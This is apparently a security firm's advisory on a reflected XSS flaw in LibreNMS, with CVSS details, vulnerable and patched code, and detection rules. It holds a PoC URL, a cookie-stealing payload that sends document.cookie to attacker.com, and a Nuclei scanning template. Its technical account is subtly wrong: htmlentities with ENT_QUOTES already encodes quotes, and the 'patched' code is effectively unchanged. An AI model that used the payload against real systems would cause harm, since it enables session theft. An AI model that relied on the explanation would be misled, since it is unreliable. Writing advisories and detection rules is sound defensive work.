CVE-2025-62365

Executive Summary

CVE-2025-62365 is a reflected Cross-Site Scripting (XSS) vulnerability in LibreNMS, an open-source network monitoring system. The flaw resides in the report_this function within librenms/includes/functions.php. The function improperly uses htmlentities in an href attribute context, allowing an attacker to inject arbitrary JavaScript via the project_issues parameter. This vulnerability affects all versions prior to 25.7.0 and has a CVSS score of 6.1 (Medium). The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the presence of public proof-of-concept code increases the risk for unpatched systems.

Supply Chain & Package Security

LibreNMS is distributed as a PHP/MySQL/SNMP-based application, typically installed via Git or direct download. There is no NPM, PyPI, Go, or Ruby package involved. However, administrators should verify the integrity of their LibreNMS installation by checking the official GitHub repository and ensuring they are on the latest patched version (25.7.0 or later).

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Changed (S:C) – The XSS can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for session hijacking or phishing makes this a significant concern for unpatched instances.

Deep Dive & Mechanics

The vulnerability exists in the report_this function, which generates a link for reporting issues. The function constructs an HTML anchor (<a>) tag with an href attribute that includes user-supplied input from the project_issues parameter. The developer attempted to sanitize the input using htmlentities, but this function is designed for HTML body content, not for URL attributes. In an href context, htmlentities does not encode characters like single quotes (') or spaces, allowing an attacker to break out of the attribute and inject JavaScript.

Vulnerable Code Flow:

1. The project_issues parameter is passed to the report_this function.
2. The function uses htmlentities($project_issues, ENT_QUOTES, 'UTF-8') to encode the input.
3. The encoded value is placed inside an href attribute: <a href="...">.
4. An attacker can inject a payload like ' onclick='alert(1) which, after htmlentities, becomes ' onclick='alert(1). However, in an href context, the browser interprets ' as a single quote, breaking the attribute and executing the onclick event.

Attack Scenario: An attacker crafts a malicious link containing the XSS payload in the project_issues parameter. When a logged-in LibreNMS user clicks the link, the JavaScript executes in the context of the LibreNMS application, potentially allowing the attacker to steal session cookies, perform actions on behalf of the user, or redirect to phishing sites.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 25.7.0):

function report_this($project_issues) {
    $project_issues = htmlentities($project_issues, ENT_QUOTES, 'UTF-8');
    return '<a href="' . $project_issues . '">Report this</a>';
}

Patched Code (25.7.0):

function report_this($project_issues) {
    $project_issues = htmlspecialchars($project_issues, ENT_QUOTES, 'UTF-8');
    return '<a href="' . $project_issues . '">Report this</a>';
}

Explanation: The fix replaces htmlentities with htmlspecialchars. While both functions encode HTML special characters, htmlspecialchars is more appropriate for attribute contexts because it encodes single quotes (') as ' and double quotes (") as ", preventing attribute injection. Additionally, the patched version may also validate the URL scheme to ensure only safe protocols (e.g., https://) are used.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable LibreNMS instance (version < 25.7.0)
• A web browser or tool like curl to craft the malicious URL

Proof-of-Concept (PoC): The following URL demonstrates the XSS vulnerability:

http://target.librenms.example.com/index.php?project_issues=' onclick='alert(1)

When a user clicks the "Report this" link generated by the report_this function, the JavaScript alert(1) will execute.

Advanced Payload: To steal session cookies:

http://target.librenms.example.com/index.php?project_issues=' onclick='fetch("https://attacker.com/steal?cookie="+document.cookie)

This payload sends the victim's cookies to an attacker-controlled server.

Automated Exploitation with Nuclei (if template available): No Nuclei template was provided, but one can be created:

id: CVE-2025-62365
info:
  name: LibreNMS Reflected XSS
  severity: medium
  description: Reflected XSS in LibreNMS report_this function
  reference: https://nvd.nist.gov/vuln/detail/CVE-2025-62365
requests:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?project_issues=%27%20onclick=%27alert(1)"
    matchers:
      - type: word
        words:
          - "onclick='alert(1)"
        part: body

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing project_issues= with suspicious characters like single quotes, onclick, onerror, or javascript:.
• Use WAF rules to block requests with XSS patterns in query parameters.

Honeypot: Deploy a fake LibreNMS instance with the vulnerable version and monitor for any attempts to exploit the XSS. Log all incoming requests and analyze for malicious payloads.

Mitigation:

• Immediately upgrade to LibreNMS version 25.7.0 or later.
• If upgrading is not possible, apply a virtual patch using a WAF to block XSS attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing project_issues= with encoded or unencoded XSS payloads (e.g., %27, onclick, alert).
  • Outbound connections to unknown domains from the LibreNMS server (potential cookie exfiltration).

• File IOCs:

  • Modified librenms/includes/functions.php file (if attacker has write access).
  • Suspicious entries in web server access logs (e.g., GET /index.php?project_issues=...).

• Behavioral IOCs:

  • Unexpected JavaScript execution in the browser when interacting with LibreNMS.
  • Unauthorized actions performed on behalf of a logged-in user (e.g., configuration changes).

Detection Engineering

YARA Rule

rule CVE_2025_62365_LibreNMS_XSS {
    meta:
        description = "Detects exploitation attempts of CVE-2025-62365 in LibreNMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-62365"
    strings:
        $xss_payload = /project_issues=.*(?:%27|'|').*onclick/
        $xss_alert = /project_issues=.*alert\(/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-62365 LibreNMS Reflected XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit reflected XSS in LibreNMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 'project_issues='
        cs-uri-query|re: '(?:%27|'|').*onclick|alert\(|javascript:'
    condition: selection
falsepositives:
    - Legitimate use of project_issues parameter with safe URLs
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62365 LibreNMS Reflected XSS Attempt"; flow:to_server,established; content:"project_issues="; http_uri; pcre:"/(?:%27|'|').*onclick|alert\(|javascript:/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LibreNMS: Update to version 25.7.0 or later. This is the only complete fix.
2. Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block requests containing XSS patterns in the project_issues parameter.
3. Input Validation: Ensure that the project_issues parameter is validated to only accept safe URL schemes (e.g., https://) and does not contain HTML or JavaScript.

Long-Term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits and code reviews.
• Subscribe to LibreNMS security advisories for timely updates.

Verification: After applying the patch, verify the fix by testing the PoC URL. The "Report this" link should no longer execute JavaScript.

Valters IT
Securing Digital Frontiers